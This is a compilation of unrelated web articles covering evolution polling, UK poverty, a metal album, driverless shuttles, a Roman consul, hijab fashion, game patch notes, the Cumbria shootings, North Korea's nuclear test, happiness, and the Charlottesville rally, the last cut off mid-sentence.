might expect, the American numbers are quite different:  32% of Americans believe in 'intelligent design' (edit: 'theistic evolution')  15% believe in 'pure evolution'  46% believe in 'creationism'  7% are unsure.  So three times as many New Zealanders believe in 'pure evolution', and twice as many Americans believe in 'creationism'.  49% of New Zealanders believe in some level of involvement by God (either 'intelligent design' (edit: 'theistic evolution') or 'creation'), compared with 78% of Americans. That's almost certainly related to the fact that 61% of New Zealanders believe in God (UMR SAYit poll, Sept 2011), compared with 92% of Americans (Gallup poll, May 2011).  In both countries, a belief in 'pure evolution' is related to education, although it makes less of a difference in New Zealand than it does in the US:  49% of New Zealanders with a university qualification believe in 'pure evolution', as do 29% of Americans with a university qualification.  41% of New Zealanders whose highest qualification is from high school believe in 'pure evolution', as do 11% of Americans whose highest qualification is from high school.  It's also interesting to note that, in New Zealand, belief in 'pure evolution' is highest amongst 30-44 year olds, with under 30 year olds being the most likely to believe in creationism.  18-29 year olds: 28% 'intelligent design', 39% 'pure evolution' and 28% 'creationism'  30-44 year olds: 25% 'intelligent design', 51% 'pure evolution' and 19% 'creationism'  45-59 year olds: 28% 'intelligent design', 46% 'pure evolution' and 21% 'creationism'  Over 60 year olds: 23% 'intelligent design', 43% 'pure evolution' and 24% 'creationism'  EDIT: Again, feel free to replace 'intelligent design' above with 'theistic evolution'.  All results in this blog are based on a survey of a representative sample of n=750 New Zealanders aged 18 years or older, conducted by UMR Research in June 2012.
-The poor you will always have with you. Yet as a society we can have more or less poverty. And it’s a depressing fact that British poverty has been on the rise again in recent years.  A new report from the Joseph Rowntree Foundation (JRF) highlights that a long period of reduction in poverty (defined as those living on less than 60 per cent of median incomes after housing costs) came to an end around 2010.  The child poverty rate fell from 33 per cent in 1996 to 27 per cent in 2010. But it has now risen again to 30 per cent. Pensioner poverty two decades ago was 30 per cent. It dropped to 13 per cent in 2012 but has since crept up to 16 per cent. For the population as a whole the poverty rate glided down from 24 per cent in 1995 to 21 per cent in 2014. But it has now edged back up to 22 per cent.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  The poor, with more essentials in their regular outgoings, have faced higher effective inflation rates than the more prosperous over the past decade. For those on the breadline, the latest above-inflation increase in rail fares announced by the train operating companies will feel like yet another kick in the teeth.  To a large extent this increase in poverty is a consequence of benefit cuts in the years of coalition and Conservative austerity. And the real-terms cuts in tax credits still in the pipeline, which the Chancellor Philip Hammond declined to alleviate at last month’s Budget, are set to increase the numbers in Britain living in poverty still further. Yet government cuts are not the whole story when it comes to underlying UK poverty trends.  It probably sounds rather odd to hear about a rise in UK poverty given that, as government ministers frequently remind us, more people than ever are in work. But dig into the detail and it emerges that employment is by no means the shield from poverty in modern Britain that we might imagine it to be.  As the JRF research shows, 2.7 million of the four million children in poverty in the UK live in households where an adult works. In fact, of the 13.9 million people in this country who are in poverty, some 3.7 million (a quarter) are actually in employment.  Some say poverty in working households reflects the fact that the adults don’t work enough hours.  It's true that work by the Institute for Fiscal Studies has identified a surge in part-time employment by low-income working-age men over the past two decades. In 1995 only 5 per cent of men on low hourly wages worked part-time. Today 20 per cent do. What explains this dramatic shift? The truth is we don’t fully understand it. But it seems unlikely this group has decided, en masse, to put their feet up and accept the financial consequences of a deep decline in weekly take-home wages. If they could do more hours they probably would.  Moreover, other IFS work suggests that the prevalence of poverty among working families with children stems from weak earnings among full-time male earners in single-earner households, rather than an explosion of part-time work.  The labour market does not seem to be providing the opportunities and rewards it used to, particularly for lower earning men. The tax and benefits system has taken up a degree of the slack by boosting the incomes of the low-paid through tax credits. The minimum wage has helped too. But the underlying problem of a labour market that is not delivering for those at the lower end is significant and seems to be getting bigger.  What’s the answer? Halting the working-age welfare cuts is an obvious imperative. Ramping up social-housing construction should alleviate this group’s punishing housing costs (as a share of their income). Further increases in the minimum wage are useful, although they cannot be the dominant lever of assistance. For the long term, a serious step-up in public and private investment in skills is sorely needed. To some extent the poverty problem today is chickens coming home to roost; underspending on education and training has almost certainly contributed to weak productivity and low pay.  For the immediate term, more stimulative government fiscal policy to support demand would likely help. The surge in part-time work among low-income working-age men is further evidence of a degree of hidden slack in the economy.  Perhaps the first job, though, is to change our public discourse. Despite propaganda to the contrary, poverty in 21st century Britain is not the consequence of a feckless or work-shy section of the population. It is the consequence of work that does not pay enough and a labour market that is not providing the opportunities that we need it to.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-PRE-ORDER The Lucid Collective  Guitars shred with blazing fury and relentlessly plucked strings at break neck speed. Vicious vocals snap and swarm rapidly fired over whirlwind complex drum patterns in a potent display of 21st century extremity. ARCHSPIRE unleash an insane attack of blistering technical death metal on their second full length "The Lucid Collective", which marks the band's debut on Season of Mist. The collective from Vancouver in British Columbia, Canada emerged in the year 2009, after a prelude under the moniker DEFENESTRATED beginning in 2007. ARCHSPIRE joined the fast side of tech death, which is remarkably strong within the Canadian metal scene as legendary GORGUTS or their label mates BEYOND CREATION prove. Their debut album "All Shall Align", released in 2011 immediately made a big impact with the aficionados of their chosen style and invited critics to name famed OBSCURA among their peers. This was and still remains to be accompanied by an original lyrical concept revolving around misanthropic themes painted on a background based in science fiction worlds. Yet ARCHSPIRE impressively demonstrate on "The Lucid Collective" that they are delivering more than just a collection of chops and blast beasts. These eight tracks showcase a fast-rising band with supreme mastery of dynamics going hand in hand with determined aggression. "The Lucid Collective" is a definitive statement of intent by one of death metal's most exciting new bands!  Tracklisting  1. Lucid Collective Somnambulation  2. Scream Feeding  3. The Plague of AM  4. Fathom Infinite Depth  5. Join Us Beyond  6. Seven Crowns and the Oblivion Chain  7. Kairos Chamber  8. Spontaneous Generation  Line-up  Oli Peters: vocals  Tobi Morelli: guitar  Spencer Prewett: drums  Dean Lamb: guitar  Jaron Evil: bass, vocals
-It’s not always easy negotiating Amsterdam’s complex cityscape, jammed with proudly texting bicyclists, narrow canals and traffic-choked streets.  WEpods may one day be the best option of all.  As the world’s first autonomous shuttle using public roads, WEpods promise mobility — with the security and safety delivered up by a system trained using sophisticated deep learning techniques.  The autonomous pods — powered by our DRIVE PX self-driving vehicle technology — are now being tested on public roads in the Dutch province of Gelderland. The system lets riders summon a shuttle by just tapping on their smartphone (see “WEpod Becomes First Driverless Car to Play in Traffic”).  One of the tidy white mini-buses is at our inaugural GTC Europe to give attendees rides. Step aboard a pod — which has seating for six — and your view out of the expansive windows is unimpeded by a driver hunched over a wheel at the front. In fact there is no steering wheel. No pedals either.  Aided by cameras, radar and laser sensors, the shuttle travels a loop of several hundred meters in front of the Amsterdam Passenger Terminal, where our event is hosted, smoothly executing a U-turn at one end of its route.  The driverless shuttle navigated a public road filled with bicycles, cars and trucks dropping off goods to nearby stores. And, of course, there’s always that one dude. A jaywalker stepped in front of the shuttle, just to see if it will stop in time. It always does, even if the WEpods — which are still in development — occasionally need a nudge from the engineer riding on board to get it going again after its emergency stop.
-2nd and 1st-century BC Roman consul  For the Manius Aquilius who was consul in 129 BC, see Manius Aquillius (consul 129 BC)  Manius Aquillius (died 88 BC), a member of the ancient Roman gens Aquillia, was consul in 101 BC.  Probably a son of Manius Aquillius, consul in 129, Aquillius was a loyal follower of Gaius Marius. During the election campaign for Marius's fourth consulship, Aquillius was left in command of the army in case the migrating Cimbri attacked before Marius could return to command the army himself.  As a reward for his loyal services, Gaius Marius ran with Aquillius under a joint ticket for the consulship of 101. After the consulship, with Rome struggling with famine caused by the slave revolt in Sicily, Aquillius was sent to put it down. Aquilius completely subdued Salvius and his insurgents and got an ovation in Rome in 100.[1] In 98, Aquillius was accused by Lucius Fufius of maladministration in Sicily. In the trial, he was defended by Marcus Antonius, Consul in 99, and even if there was sufficient evidence of his guilt, he was acquitted because of his bravery in the war.[2]  In 90, Aquillius was sent as ambassador to Asia Minor to restore Nicomedes IV of Bithynia, who had recently been expelled from his kingdom by Mithridates VI of Pontus. However, after achieving this, Aquillius then encouraged Nicomedes to raid Pontic territory. This prompted a furious backlash from Mithridates in 89, whose counter-attack began the First Mithridatic War.[3]  Mithridates defeated Aquillius in 88 near Protostachium. Aquillius was attempting to make his way back to Italy and managed to make it to Lesbos, where he was delivered to Mithridates by the inhabitants of Mytilene. After being taken to the mainland, he was then placed on a donkey and paraded back to Pergamon. On the trip, he was forced to confess his supposed crimes against the peoples of Anatolia. Aquillius's father, the elder Manius Aquillius, was a former Roman governor of Pergamon and was hated for the egregious taxes that he imposed. It was generally thought that Manius Aquillius the younger would follow in the footsteps of his father as a tax profiteer and was hated by some of the local peoples.[5]  Aquillius was eventually executed by Mithridates by having molten gold poured down his throat.[5] The method of execution became famous and, according to some unreliable accounts,[6] was repeated by Parthian contemporaries to kill Marcus Licinius Crassus who was at the time the richest man in Rome and a member of the First Triumvirate.[5]  Notes [ edit ]  References [ edit ]
-THIS summer, I’ve traded in my usual hijab for a turban. The biggest consequence of this is not physical. It’s a matter of perception: I am no longer immediately identified as Muslim. I could just be protecting my hair from the outside elements or protecting the outside elements from my uncooperative hair. I could just be from some obscure African country — and coincidentally, I am. Or I could just be a little too obsessed with Zadie Smith.  The transformation is a success. Friends who have not seen me in a while do a double take, ask if I’ve lost weight. No one wonders if I am “hot in that” — in the summertime, this tops my hijabi F.A.Q. list — but someone does ask me if I am Caribbean. I bask in compliments and entertain runway dreams. Life is newly marvelous.  It is a shame that I did not discover this hack earlier. In high school, I was not a cool kid. I had always assumed that my modest appearance — an aesthetic disruption in a sea of girls sporting Lululemon leggings and crop tops — was at least partly to blame. When a hijabi named Zarifeh Shalabi was elected prom queen in Fontana, Calif., last year, I was just as surprised as the rest of the world.  At the time, my own prom adventures were not going as well as Ms. Shalabi’s. While her friends were rallying to get her elected against the odds, mine were proving exceedingly useless in the struggle to somehow coerce my high school crush into asking me to prom in the few moments we shared in between second period United States history and third period A.P. macroeconomics.
-Hey there, Descenters!  Vanquish enemies with drone-hunting plasma balls, select the match you want, unlock hidden treasures, and enjoy the grandeur of another user-created map, Skylab- all in earthshaking VR!  Wait, what? VR? Yep - VR !!  Oculus Rift and HTC Vive!  NEW STUFF & Patch Notes (2045)  SKYLAB - A high-tech orbital facility (based on perfectpencil's cool design) welcomes rock jocks from around the Belt!  MATCH BROWSER - Clicking "Multiplayer" in the Drone Bay now shows all currently running matches as well as offering the ability to Quick Match and to Create matches. You can click on matches to join them.  SMART MISSILE - A powerful rocket- on impact it emits tracking plasma blobs that home in on foes!  SECURITY KEYS - Some doors now require special security keys to open! In multiplayer, these drop from destroyed ships.  INVULNERABILITY ORB - Precious moments of complete invulnerability could be yours, if you find this elusive purple orb!  VR ENHANCEMENTS - New VR menus and gaze pointer.  Oculus SDK 1.3 - All Oculus headsets need to be updated to the latest runtime (and the DK2 can still work with this version despite warnings in the installer). Many Oculus users will need to enable "Unknown Sources" in Oculus app-> Gear menu-> Settings-> General because of default Oculus Store settings.  The Shaman's tools take longer to repair friendly ships.  Flares now cast more light and move a little faster.  Small changes and bug stomping.  Combat, Graphics, and Sound The explosion particle effect for destructibles took some much needed holiday in Rio and is currently visiting Mr. Drax. The Drone Bay has too many lights and so some people are getting poor performance while admiring their ships. Objects near the corners of the screen can experience "barrel distortion" because of the way that 3D objects are mapped to a 2D screen. Using the Field-of-View slider can help with this in some cases. Our guard bots in "Vs. Bots" mode did not pass the Drone Efficiency Recruitment Protocol and need more education. Collisions are more sticky than they are supposed to be, sometimes causing ships to catch on each other.  Launching, Installing, and Platforms Installer & Launcher need to be run as administrator on Windows. Streaming software may need to run as administrator to capture video. Standalone (non-Steam) launcher not correctly self-updating on Linux and Macintosh. Uninstalling & reinstalling the launcher may not properly clear settings. Steam Overlay doesn't work on Mac and Linux. Part of the ship selection panel in the Drone Bay can get cut off on 4:3 displays. Selecting a 16:9 resolution can sometimes help with this.  Input In VR, drop-down menus may not respond properly. Some menus are not interacting with the VR head-look pointer correctly. The axis configuration menu is somewhat clunky and uses too-technical language (power changes the curvature of the sensitivity curve, factor scales the sensitivity curve) Linux appears to not be detecting joysticks in many cases. Many joysticks do not yet have a default mapping and need to be configured manually. Controller customization issues are still being experienced by some users. Control customization needs a "reset to defaults" button. If you are having mouse issues, please make sure that your Mouse axes and sensitivities are NOT inverted and reversed at the same time. Multiple joysticks of the same model cannot currently be distinguished by the game.  Matches Private matches can launch even if some players are marked "not ready". Auto-start timer in the match lobby doesn't yet display. Keep an eye on the status shown above for an indication as to how soon your match will start. There may be a wait for matches at times. While our all-backer player base is much larger than the beta pool, player play times can vary. In a match lobby, gamepad users sometimes cannot exit the lobby using the gamepad. All servers are currently in the U.S., other locations are planned.  If you need to get the installer, CLICK HERE for instructions.This test is public and we are happy if people want to share on Twitch and YouTube. In the event that something is running poorly or breaks while you're streaming, please let your viewers know that this is an Early Access build that you are playtesting. It is NOT the final retail release.If you do plan to stream, you may need to run your streaming software as an administrator.Our game manual is a series of forum posts:If you have any questions about downloading or playing the game, that's the best place to check for a quick answer.  Bug Reporting  Please report bugs in our bug reporting forum with as much specificity as possible. If you can provide screenshots, that's awesome!  We've also compiled a list of known issues so that you can skip those when reporting bugs.  Fly safe!  -Dunk
-Cumbria police confirmed today that Derrick Bird, who went on the rampage in the UK's worst shooting incident since the Dunblane massacre, had been a licensed gun holder for 20 years.  Twelve people were confirmed dead and three were fighting for their lives after the taxi driver went on the apparently indiscriminate shooting spree across a swath of Cumbrian countryside.  Bird, 52, shot dead his twin brother and at least one colleague before driving through rural west Cumbria firing seemingly at random at people in towns, villages and on country roads and then killing himself.  More than 100 detectives are beginning to piece together the full sequence of events and trying to establish the gunman's motive.  Eleven people were injured, three critically, during the three-and-a-half hour shooting spree which paralysed the county as police, hunting him on the ground and by air, ordered a lockdown.  Cumbria police said they might never completely uncover the reason for what they described as the "most exceptional and challenging incident" the small force had ever dealt with. Last night, they were examining 30 crime scenes.  The alarm was raised in the harbour town of Whitehaven at 10.30am. By then, it is believed, Bird's twin brother, David, and the family solicitor, Kevin Commons, were already dead. It ended only when the gunman's body was found in a copse outside the hamlet of Boot at 1.40pm.  Two guns were recovered by police, a .22 rifle with a telescopic sight and a shotgun.  The deputy chief constable of Cumbria constabulary, Stuart Hyde, confirmed this morning that Bird was licensed to carry weapons.  Speaking in Whitehaven, Hyde said: "He had a shotgun certificate and a firearms licence for weapons, but we do not know at this stage whether the weapons that we recovered are those he was licensed for. A detailed ballistic examination is being undertaken to confirm this."  He confirmed that a local solicitor, Kevin Commons, aged 60, who worked for KJ Common solicitors, was among the 12 victims.  The home secretary, Theresa May, is due to make a statement on the killings in the House of Commons later today.  There were unconfirmed reports that Bird, from Rowrah, near Frizington, who was divorced with two sons and had recently become a grandfather, had argued with colleagues on the taxi rank the previous night.  One friend, Peter Leder, told CNN Bird had said to him: "You won't see me again."  According to one woman in Whitehaven, Bird "shook them [his colleagues] by the hands one by one and said there's going to be a rampage in this town tomorrow and it's going to start with my mother ... They just laughed and didn't take him seriously".  Others spoke of a reported family row over the will of Bird's seriously ill mother, involving Commons. Commons's home was last night cordoned off by police, and letters from his law firm were visible on a windowsill of Bird's home.  It is thought that after killing his brother and Commons, Bird headed to Whitehaven and shot a fellow taxi driver named locally as Darren Rewcastle. Witnesses said Bird then drove through the town with a gun hanging out of his car window. Police released a map showing Bird's progress south to Egremont, Gosforth and Seascale, where the killings continued.  One witness, Barrie Moss, said he was cycling through Egremont when he came face to face with the killer, who had just got out of his car. Bird, carrying "this absolutely huge sniper rifle", stared at him before driving away, Moss said. He then saw that an older woman carrying bags of shopping had been shot. Moss described how he and another man cradled the woman as she died: "He must have seen her, stopped, got out and shot her point blank in the back of the head. I don't think anybody could have done anything."  Further south, in Seascale, another witness, John Reeves, said he was loading his car when he heard two gunshots and ran out of his house. "As I turned the corner there was this poor chap on a bike and he had been shot, he was turned to the wall and this car had sped off. A few of us tried to help this poor man, but he was gone."  As the shootings progressed a police lockdown of the area saw shops, offices and even the Sellafield nuclear reprocessing plant close their doors. Helicopters and armed officers from other police forces were brought in to help in the hunt. Cumbria's deputy chief constable, Stuart Hyde, said police had yet to establish whether it was a premeditated or random attack. "This has shocked the people of Cumbria and around the country to the core," he said.  It was a "terrifying and horrific incident", he said. "Our thoughts go out to all the family and friends and colleagues of those killed or injured in this tragedy."  Jamie Reed, the Copeland MP, said: "We will be doing everything we can now as a community, coming together to help the families of the victims, to help everyone that has been affected by this. That is our priority."  The Queen said she was "deeply shocked by the appalling news" and expressed sympathy to those affected.  David Cameron pledged to assist communities "shattered" by the killings. "The government will do everything it possibly can to help the local community and those affected," he told MPs.  Theresa May said the events were "very serious and tragic". "Our thoughts are with the families and friends of the victims of these shootings. "It's a terrible incident that has taken place in Cumbria today, but I would like to pay tribute to the way in which the police and emergency services have worked very closely together to deal with this incident. It is the third tragedy to hit west Cumbria in six months, following the devastating floods last year and the deaths of three people, including two schoolchildren, in a coach crash on the A66 last week."  Many among the injured were taken to West Cumberland hospital in Whitehaven, where a major incident was declared and routine operations cancelled, and to hospitals in Carlisle and Newcastle-upon-Tyne.  Bird's spree is the biggest mass shooting since Thomas Hamilton killed 16 children and an adult at Dunblane primary school in March 1996, before killing himself.
-North Korea announced on January 6 that it conducted a successful H-bomb nuclear test of a miniaturized warhead. Prior to the announcement, sensors had detected a 5.1 magnitude seismic event at the same approximate location of North Korea’s 2013 nuclear test. Nuclear experts are continuing to analyze the data, but preliminary assessments are that North Korea did conduct its fourth nuclear test. South Korea has convened an emergency cabinet meeting to consider its response.  Seismologists can distinguish between natural earthquakes and man-made explosions since each has distinctive characteristics. The South Korean meteorological administration stated, “considering the waveform and the amplitude of the earthquake, it seems certain that it was an artificial quake. [There is] the high possibility of it being a nuke test.” An estimated size of the explosion has not been determined nor have radioactive isotopes — which would confirm a nuclear explosion — yet been detected.  Satellite imagery had shown excavation and preparatory activity at the Punggye-ri nuclear test site during the past two years. However, no indications of an imminent nuclear test were detected prior to the explosion.  North Korean leader Kim Jong-un asserted last month that his country had built a hydrogen nuclear bomb to “defend its sovereignty and the dignity of the nation.” Kim’s initial assertion about hydrogen bombs was met with expert skepticism, and it may be more likely that Pyongyang has achieved a boosted fission rather than a fusion bomb. Such a weapon would be larger than its first three nuclear tests (and the 1945 U.S. atomic weapons) but not of the magnitude from a hydrogen fusion bomb.  If confirmed, North Korea’s fourth nuclear test, particularly of an improved weapons, is a dangerous development. Coupled with ongoing development of several different missile systems, North Korea poses an increasing direct threat to the United States, South Korea, and Japan.  Experts estimate that Pyongyang currently has 10-16 nuclear weapons with potentially as many as 50-100 by 2020. North Korea has likelyalready achieved warhead miniaturization, the ability to place nuclear weapons on its medium-range missiles, and a preliminary ability to reach the continental United States with a missile.  What Washington Should Do:  Washington should be consulting with Seoul and Tokyo to devise a common response to a North Korean missile launch. The allied response should include:  Convene the UN Security Council to implement a new resolution to impose strong punitive sanctions and close loopholes, such as including Article 42 of Chapter VII of the U.N. Charter, which allows for enforcement by military means. This would authorize naval ships to intercept, board, and inspect North Korean ships suspected of transporting precluded nuclear, missile, and conventional arms, components, or technology.  to implement a new resolution to impose strong punitive sanctions and close loopholes, such as including Article 42 of Chapter VII of the U.N. Charter, which allows for enforcement by military means. This would authorize naval ships to intercept, board, and inspect North Korean ships suspected of transporting precluded nuclear, missile, and conventional arms, components, or technology. Call upon all U.N. member nations to fully implement existing U.N. resolution requirements to prevent North Korea’s procurement and export of missile-related and WMD-related items and technology and freeze the financial assets of any involved North Korean or foreign person, company, or government entity. Any violating government, business, bank, or individual should be subject to sanctions.  to prevent North Korea’s procurement and export of missile-related and WMD-related items and technology and freeze the financial assets of any involved North Korean or foreign person, company, or government entity. Any violating government, business, bank, or individual should be subject to sanctions. Adopt a more comprehensive list of prohibited items and materials. The U.N. Experts Group identified several items and materials critical to Pyongyang’s nuclear programs that should be—but have not been—added to the list of products banned for transfer to North Korea.  The U.N. Experts Group identified several items and materials critical to Pyongyang’s nuclear programs that should be—but have not been—added to the list of products banned for transfer to North Korea. Publicly identify and sanction all foreign companies, financial institutions, and governments assisting North Korea’s nuclear and missile programs . Target financial and regulatory measures against any entity suspected of helping North Korean nuclear, missile, and conventional arms; criminal activities; money laundering; or import of luxury goods.  . Target financial and regulatory measures against any entity suspected of helping North Korean nuclear, missile, and conventional arms; criminal activities; money laundering; or import of luxury goods. Impose third-party sanctions . The U.S. should penalize entities, particularly Chinese financial institutions and businesses, that trade with those on the sanctions list or export prohibited items. The U.S. should also ban financial institutions that conduct business with North Korean violators from access to the U.S. financial network.  . The U.S. should penalize entities, particularly Chinese financial institutions and businesses, that trade with those on the sanctions list or export prohibited items. The U.S. should also ban financial institutions that conduct business with North Korean violators from access to the U.S. financial network. Augment U.S. sanctions. President Obama’s assertion that North Korea is the most heavily sanctioned country in the world is simply not true. Washington has targeted fewer North Korean entities than those of the Balkans, Burma, Cuba, Iran, and Zimbabwe. The U.S. has targeted more than twice as many Zimbabwean entities than North Korean. Nor has Washington designated North Korea as a primary money-laundering concern as it did Iran and Burma.  For its part, South Korea should:  Resume propaganda broadcasts along the DMZ , dramatically increasing broadcasting into North Korea including assessing the viability of using drones along the North’s coasts, and removing any restrictions on non-government organizations sending information leaflets via balloons into North Korea. The August land mine crisis showed the sensitivity of the Kim Jong Un regime to information psychological operations.  , dramatically increasing broadcasting into North Korea including assessing the viability of using drones along the North’s coasts, and removing any restrictions on non-government organizations sending information leaflets via balloons into North Korea. The August land mine crisis showed the sensitivity of the Kim Jong Un regime to information psychological operations. Sever its involvement in the Kaesong industrial park. The joint business venture was always more on political than economic objectives. Since its inception, the Kaesong venture failed to achieve its primary objective of inducing economic and political reform in North Korea and moderating the regime’s belligerent foreign policy.  The joint business venture was always more on political than economic objectives. Since its inception, the Kaesong venture failed to achieve its primary objective of inducing economic and political reform in North Korea and moderating the regime’s belligerent foreign policy. Request U.S. deployment of the THAAD missile defense system. South Korea’s indigenous missile defense system is insufficient to defend against North Korea’s growing nuclear and missile threat.  North Korea’s nuclear test is a serious and irreparable violation of numerous UN Security Council resolutions. It reflects Pyongyang’s continued pursuit of its prohibited nuclear weapons programs in open defiance of the international community despite countless attempts by the U.S. and its allies to reach a diplomatic resolution.  The regime has repeatedly asserted it has no intention of ever abandoning its nuclear weapons, even revising its constitution to enshrine itself as a nuclear weapons state. North Korea’s continuing improvement and augmentation of its nuclear arsenal threatens the United States and its allies.  It is time for the Obama Administration to abandon its policy of timid incrementalism and fully implement existing U.S. laws by imposing stronger sanctions on North Korea and work with Congress to determine additional measures.  This piece also appeared at the Heritage Foundation  Main picture: E. Lafforgue
-An important part of SMART Living 365 is creating happiness. But what do I mean by happiness? Unfortunately, many people in America seem to be working to either buy happiness or make happiness happen, and that can actually lead to more stress and dissatisfaction than anything else. So, before we go further, let’s explore what happiness is, and isn’t—how we can experience it—and why should we want it in the first place.  Several years ago, a popular saying was “He who dies with the most toys wins.” That unfortunately is what many people think when they think of happiness. Even if we don’t admit it, most of us consider collecting cool “stuff” as a reflection of a successful and happy life. An interesting example of that came from some good friends of ours who told us recently that they feel good about giving their children everything they ask for—because they can. They work hard to be able to afford nice things and want to share that with their children. They admitted that it makes them “happy” to see their children happy when fulfilling their desires.  That’s where it gets tricky. Most all of us enjoy making other people happy—especially those we love. Unfortunately, we get trapped into a belief that starts to look and feel a lot like it’s the “stuff” that is delivering the result that we crave. Unfortunately, that stuff (or as I like to call the really shiny, good stuff, “bling”) gives the recipient an endorphin high the instant they get their hands on it. Unfortunately, similar to a drug, the high is quickly dissipated and it isn’t long before the addict needs another fix to achieve the same thing. In other words, “bling” is not happiness. Bling is a drug that makes the receiver feel good for a while and then it’s gone. Unfortunately, anyone who gives bling to another hoping to see a smile on their face and love in their eyes, maybe re-enforcing an addiction to stuff—and destroying the ability to find true happiness without it.  A recent book entitled Red Flags or Red Herrings? Predicting Who Your Child Will Become by Susan Engel explains this erroneous idea of happiness by saying “…a culture of consumption like ours puts forth highly seductive messages suggesting that happiness comes from enjoying a string of positive events or a life of ease or acquiring things, known as hedonic happiness.” The book goes on to clarify, “Anyone who seeks it (happiness) in acquisition will be doomed to disappointment; hedonic pleasures have limited staying power.”  So, if happiness isn’t bling, what is it? One thing that is clear is that true happiness isn’t something you get; it’s something you experience. That’s why it is understandable to call it a journey. Susan Engel explains it pretty well by saying, “Psychologists and philosophers find that happiness derives from having a sense of purpose and feeling useful.” She goes on to say, “…happiness isn’t something you can pursue directly. It’s a byproduct of other things, most notably working toward meaningful goals.”  Besides being a journey, psychologists also believe that happiness is a reflection of how we think. As humans, we have an information filtering system that allows us to either seek out and process positive information or to do the opposite—seek out and process negative information. Equally destructive is catastrophizing or assuming the worst outcome from any possible event. Ask anyone who watches the television news channels religiously and you can witness how a person can get sucked into seeking out and processing negative information that ends up making them feel horrible.  So how can we experience more happiness? A good place to start is to stop expecting to find it in bling. In fact, many times we end up working harder (at jobs we dislike) in order to buy bling for others or ourselves. Not only does the bling not bring happiness, but all the extra work and stress from work ends up making us even less happy than before. Remember, any enjoyment from bling is temporary. True happiness is an experience of having purpose in your life and working towards meaningful goals.  And never forget that we can also work on our happiness filter. Stay away from negative information (like any TV or newspaper news) and stay away from negative people. Instead, surround yourself with positive information and people who are joyful and happy no matter what. And keep in mind what Susan Engel says, “Happiness comes not from a magical power to escape setbacks but the ability to rebound from them, also known as resilience.” When you think about it, it is easy to see that happiness is a journey–sometimes that journey is successfully reaching that meaningful goal, and other times it is nothing more than a simple and sincere choice to be happy in spite of it all. In the end, that understanding of happiness may be the greatest gift we can give others and ourselves as we strive to live SMART 365.  “Each morning when I open my eyes I say to myself: I, not events, have the power to make me happy or unhappy today. I can choose which it shall be. Yesterday is dead, tomorrow hasn’t arrived yet. I have just one day, today, and I’m going to be happy in it.” – Groucho Marx
-The Ku Klux Klan protests on July 8, 2017, in Charlottesville, Virginia. (Photo: Chet Strange / Getty Images)  The August 12 “Unite the Right” rally in Charlottesville, Virginia, looks like it will be the largest organized racist demonstration in recent memory. But that’s not the only reason it is important. First, while there have been dozens of far-right rallies since Trump’s election, this will be the first major, national rally run by the alt-right’s openly white nationalist wing. Second, after months of arguments, this is also an opportunity for a large swath of progressives to come together in opposition to the far right.  Charlottesville has seen multiple white nationalist rallies this year. The first, a May 2017 daytime event, was followed by a nighttime torchlight photo-op. Led by alt-right poster boy Richard Spencer, attendees chanted Nazi slogans like “blood and soil.” The second, in July, was a KKK rally. This time, counter-protesters were out in force; one outlet put the numbers at 30 KKK supporters versus 1,000 protesters. But the police arrested 23 counter-protesters, and some counter-protesters were charged with a felony for merely wearing a mask.  The white nationalist rallies are ostensibly being held to oppose the removal of a statue of former Confederate Army General Robert E. Lee. The city council agreed to the removal in April, but it is being fought in the courts. Now white nationalists are making a show of force at rallies based on this increasingly strained pretext.  Since Trump took power in February, there have been numerous far right marches, which have congealed into a street protest movement. I have dubbed it “Independent Trumpism” because, while it fanatically supports Trump and his anti-immigrant and Islamophobic politics, the organizing happens outside of the Republican Party apparatus itself.  These started as supposed “free speech” rallies — in reality, ultra-nationalist gatherings to show they could hold the streets after antifascists forced the cancellation of a Milo Yiannopoulos talk at the University of California, Berkeley, in February 2017.  The marches then branched out to both oppose the removal of Confederate statutes, and support Islamophobic rallies like June’s “March Against Sharia.” Mostly they have been organized by “alt-lite” activists, who stop just short of embracing a homogenous white country, with everyone from Trumpist Republicans to militias to open fascists in attendance. And while Richard Spencer did not go to any of them, fascist groups like Identity Evropa and Vanguard America did — although they were not key organizers and tended to have a low-key presence.  This week’s “Unite the Right” event will be different. While attempting to pull from the same broad pool of Trumpists, this time the rally will be led by a star-studded cast of fascist and other white nationalist leaders and groups. Those supporting it claim over a thousand people will come.  Richard Spencer will headline the event; he attended college in Charlottesville and given the repeated rallies, it looks like he hopes to turn the town into an organizing base. Another famous alt-right figure, Mike Enoch of The Right Stuff, will also speak.  The organizer of “Unite the Right,” Jason Kessler, is a white nationalist who wrote for the Daily Caller. Embracing the racist creed that white people are an oppressed group, he’s said that “the number one thing” he wants from the rally is “to destigmatize Pro-White advocacy.”  Kessler originally sought the attendance of a wider swath of Trumpist activists, going so far as to denounce the earlier KKK rally. But as the event approaches, it has become more clearly an open white nationalist — and even neo-Nazi — event. Four groups in the Nationalist Front, a national umbrella organization of racist groups, are attending. Matthew Heimbach of the fascist Traditionalist Worker Party and Michael Hill of the neo-Confederate League of the South will both speak. The National Socialist Movement, the largest US neo-Nazi party, recently announced it will attend. (Their presence is the welcome sign for hardened, open neo-Nazis — who’ve generally shied away from being visible at past alt-right events — to come in force.) And last, the fascist alt-right group Vanguard America, which recently joined the Nationalist Front, will be there.  They will be joined by alt-right figures who stop just short of claiming the mantle of racial purity for themselves, but will happily collaborate with those who do. These include Augustus Invictus, a Florida lawyer who has defended the neo-Nazi skinhead gang American Front and ran as a Libertarian Party candidate for Senate, and Baked Alaska, a former Buzzfeed editor who now promotes white nationalism. Members of the alt-right fight gang the Proud Boys are also expected.  While this is a mess of fascists and their friends, some are still attempting to portray the “Unite the Right” as a neutral event. The fascist Traditionalist Worker Party says “the event’s not about race” and that they welcome “non-White allies.”  The left is organizing in response to the rally, although not nearly on the same national scale. This will be a mistake, however, if a thousand Nazis take the streets and proceed to make Charlottesville a new base. If there is one thing that I learned from witnessing the Nazi and Klan boom in the 1980s and ’90s, it was that Nazis hate opposition. If you give a Nazi organizer an inch, they will be thrilled by the lack of resistance and proceed to take a mile. Floyd Cochran, an Aryan Nations organizer during this period, revealed that if his group encountered resistance in towns they targeted for recruitment, they moved on.  Regional groups have been organizing against “Unite the Right.” These include chapters of Showing Up for Racial Justice, Black Lives 